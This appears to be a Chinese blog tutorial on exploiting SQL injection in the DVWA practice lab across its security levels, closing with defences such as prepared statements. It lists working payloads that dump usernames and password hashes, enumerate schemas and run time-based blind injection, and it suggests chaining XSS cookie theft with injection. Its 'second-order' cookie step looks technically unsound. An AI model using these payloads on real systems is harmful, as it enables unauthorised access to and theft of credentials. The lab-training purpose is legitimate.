ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

DVWA靶场实战:SQL注入漏洞攻防解析

DVWA靶场实战:SQL注入漏洞攻防解析

1. DVWA靶场与SQL注入漏洞概述

Damn Vulnerable Web Application(DVWA)是一个专为安全测试设计的PHP/MySQL Web应用,内置了从低到高不同安全等级的漏洞环境。其中SQL注入模块模拟了真实Web应用中常见的数据库安全缺陷,是学习渗透测试的经典实验场景。

SQL注入(SQL Injection)作为OWASP Top 10长期占据榜首的Web安全威胁,其本质是通过构造特殊输入,改变原始SQL查询逻辑的攻击技术。在DVWA靶场中,该漏洞被刻意设计在用户ID查询功能中,攻击者可以通过输入恶意参数获取非授权数据。

2. 实验环境准备

2.1 靶场部署方案

推荐使用以下两种方式搭建实验环境:

  • 本地部署:在Kali Linux中通过XAMPP集成环境安装
    wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /opt/lampp/htdocs/ chmod -R 777 /opt/lampp/htdocs/DVWA-master/
  • Docker部署(适合快速启动):
    docker pull vulnerables/web-dvwa docker run -d -p 80:80 vulnerables/web-dvwa

注意:首次访问需在config/config.inc.php中配置数据库连接,将$_DVWA[ 'db_password' ]设为'p@ssw0rd'

2.2 安全等级设置

在DVWA界面左下角可切换安全等级:

  • Low:无任何防护措施
  • Medium:使用mysqli_real_escape_string()过滤
  • High:采用SESSION验证机制
  • Impossible:使用PDO预处理语句

3. 低安全级别渗透实战

3.1 基础注入技术

观察源码可见用户输入直接拼接到SQL语句:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

经典永注法:

1' OR '1'='1

等效SQL:

SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'

联合查询注入:

1' UNION SELECT user, password FROM users#

此时执行的查询:

SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT user, password FROM users#

3.2 信息获取技巧

通过information_schema获取数据库结构:

1' UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_schema=database()#

密码破解建议使用John the Ripper:

john --format=raw-md5 hashes.txt

4. 中安全级别绕过技巧

4.1 防御机制分析

Medium级别使用mysqli_real_escape_string()处理输入:

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

4.2 数字型注入突破

由于参数未强制类型转换,可构造:

2 OR 1=1

对应SQL:

SELECT first_name, last_name FROM users WHERE user_id = 2 OR 1=1

4.3 Burp Suite辅助注入

  1. 拦截POST请求
  2. 修改id参数为:
    2' UNION SELECT null,concat(user,':',password) FROM users#
  3. 获取所有用户凭证

5. 高安全级别深度渗透

5.1 会话机制分析

High级别从SESSION获取参数:

$id = $_SESSION[ 'id' ];

5.2 二次注入技术

  1. 先通过其他漏洞(如XSS)设置SESSION
  2. 然后访问注入页面:
    document.cookie="id=1' UNION SELECT user,password FROM users#";

5.3 时间盲注示例

当页面无显错时:

1' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0)#

6. 防御方案与最佳实践

6.1 代码层防护

PDO预处理示例:

$stmt = $pdo->prepare("SELECT first_name FROM users WHERE user_id = ?"); $stmt->execute([$id]);

6.2 架构层防护

  • 使用WAF规则过滤敏感关键字
  • 实施最小权限原则(数据库账户仅授权必要操作)
  • 开启SQL日志审计

6.3 运维建议

定期进行:

  • SQL注入扫描(sqlmap、Acunetix)
  • 代码审计(RIPS、SonarQube)
  • 渗透测试(Metasploit框架)

7. 实战问题排查指南

常见错误1:注入语句无效

  • 检查是否有魔术引号(magic_quotes_gpc)
  • 验证输入是否经过其他过滤函数处理

常见错误2:UNION查询列数不匹配

  • 使用ORDER BY确定列数:
    1' ORDER BY 3#

性能优化:

  • 对大型数据库使用LIMIT分页:
    1' UNION SELECT user,password FROM users LIMIT 0,10#

在真实渗透测试中,建议结合其他漏洞进行组合攻击。例如先通过XSS获取管理员Cookie,再以高权限执行SQL注入。DVWA的关卡设计很好地展示了安全防御的演进过程,从完全无防护到多层次防御,这正是现代Web应用安全建设的缩影。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进